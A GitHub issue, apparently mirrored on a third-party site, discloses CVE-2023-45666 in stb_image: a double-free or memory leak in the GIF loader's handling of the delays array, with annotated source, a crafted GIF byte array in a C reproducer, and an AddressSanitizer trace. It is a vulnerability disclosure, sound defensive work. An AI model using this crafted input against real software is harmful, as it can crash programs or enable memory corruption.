nothings / stb

stb single-file public domain libraries for C/C++

Home Page:https://twitter.com/nothings

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Possible double-free or memory leak in `stbi__load_gif_main` (`GHSL-2023-150/CVE-2023-45666`)

JarLob opened this issue · comments

It may look like stbi__load_gif_main doesn't give guarantees about the content of output value *delays upon failure. Although it sets *delays to zero at the beginning [1], it doesn't do it in case the image is not recognized as GIF [2] and a call to stbi__load_gif_main_outofmem only frees possibly allocated memory in *delays without resetting it to zero in [3], [4], [5] and [6]. Thus it would be fair to say the caller of stbi__load_gif_main is responsible to free the allocated memory in *delays only if stbi__load_gif_main returns a non null value. However at the same time the function may return null value, but fail to free the memory in *delays if internally stbi__convert_format is called and fails [7].

static void *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
{
   if (stbi__gif_test(s)) {
...
      if (delays) {
         *delays = 0; // [1]
      }

      do {
         u = stbi__gif_load_next(s, &g, comp, req_comp, two_back);
         if (u == (stbi_uc *) s) u = 0;  // end of animated gif marker

         if (u) {
            *x = g.w;
            *y = g.h;
            ++layers;
            stride = g.w * g.h * 4;

            if (out) {
               void *tmp = (stbi_uc*) STBI_REALLOC_SIZED( out, out_size, layers * stride );
               if (!tmp)
                  return stbi__load_gif_main_outofmem(&g, out, delays); // [3]
               else {
                   out = (stbi_uc*) tmp;
                   out_size = layers * stride;
               }

               if (delays) {
                  int *new_delays = (int*) STBI_REALLOC_SIZED( *delays, delays_size, sizeof(int) * layers );
                  if (!new_delays)
                     return stbi__load_gif_main_outofmem(&g, out, delays); // [4]
                  *delays = new_delays;
                  delays_size = layers * sizeof(int);
               }
            } else {
               out = (stbi_uc*)stbi__malloc( layers * stride );
               if (!out)
                  return stbi__load_gif_main_outofmem(&g, out, delays); // [5]
               out_size = layers * stride;
               if (delays) {
                  *delays = (int*) stbi__malloc( layers * sizeof(int) );
                  if (!*delays)
                     return stbi__load_gif_main_outofmem(&g, out, delays); // [6]
                  delays_size = layers * sizeof(int);
               }
            }
            memcpy( out + ((layers - 1) * stride), u, stride );
            if (layers >= 2) {
               two_back = out - 2 * stride;
            }

            if (delays) {
               (*delays)[layers - 1U] = g.delay;
            }
         }
      } while (u != 0);

...

      // do the final conversion after loading everything;
      if (req_comp && req_comp != 4)
         out = stbi__convert_format(out, 4, req_comp, layers * g.w, g.h); // [7]

      *z = layers;
      return out;
   } else {
      return stbi__errpuc("not GIF", "Image was not as a gif type."); // [2]
   }
}

Thus the issue may lead to a memory leak if the caller chooses to free delays only when stbi__load_gif_main didn't fail:

    int* delays = NULL;
    img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, req_comp);
    if (img)
      free(delays);
    stbi_image_free(img);

or to a double-free if the delays is always freed (since calling free(NULL) is safe).

    int* delays = NULL;
    img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, req_comp);
    free(delays);
    stbi_image_free(img);

Code search finds both usage scenarios in the wild.

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0xbd,0x21,0xfe,0x79,0xa9,0x97,0x53,
                            0x43,0x05,0xff,0xbe,0x21,0x00,0x30,0x03,0x01,0x00,0x21,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x3f,0x71,0x07,0x00,0x05,0xff,0xbe,
                            0x01,0x00,0x00,0x00,0x21,0xf9,0x04,0x09,0x0a,0x00,0x1f,0x00,0x2c,
                            0x00,0x00,0x00,0x00,0xbd,0x00,0x71,0x00,0x00,0x05,0xff,0xe0,0x27,
                            0x8e,0x64,0x69,0x9e,0x68,0xaa,0xae,0x01,0x00,0x00,0x01,0x2c,0xcf,
                            0x74,0x6d,0xdf,0x78,0xae,0xef,0x7c,0x01,0x4f,0xc0,0xa0,0x70,0x48,
                            0x2c,0x1a,0x21,0x01,0x12,0x72,0xc9,0x6c,0x3a,0x9f,0x21,0xfe,0x74,
                            0x4a,0xad,0x5a,0x8f,0xd8,0xac,0x76,0xcb,0xed,0x7a,0xbf,0xe0,0xb0,
                            0x78};
    size_t size = sizeof(data);

    int x, y, z, channels;
    int* delays = NULL;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, &delays, &x, &y, &z, &channels, 4);
    free(delays);
    stbi_image_free(img);
    return 0;
}
  1. Run the program with ASAN with an instruction that allocator may fail (otherwise ASAN will quit early with AddressSanitizer: requested allocation size ... exceeds maximum supported size): ASAN_OPTIONS=allocator_may_return_null=1 <program name> to hit the error.
==253229==ERROR: AddressSanitizer: attempting double-free on 0x602000000010 in thread T0:
    #0 0x49e542 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x4e4064 in main tests/repro.c:22:5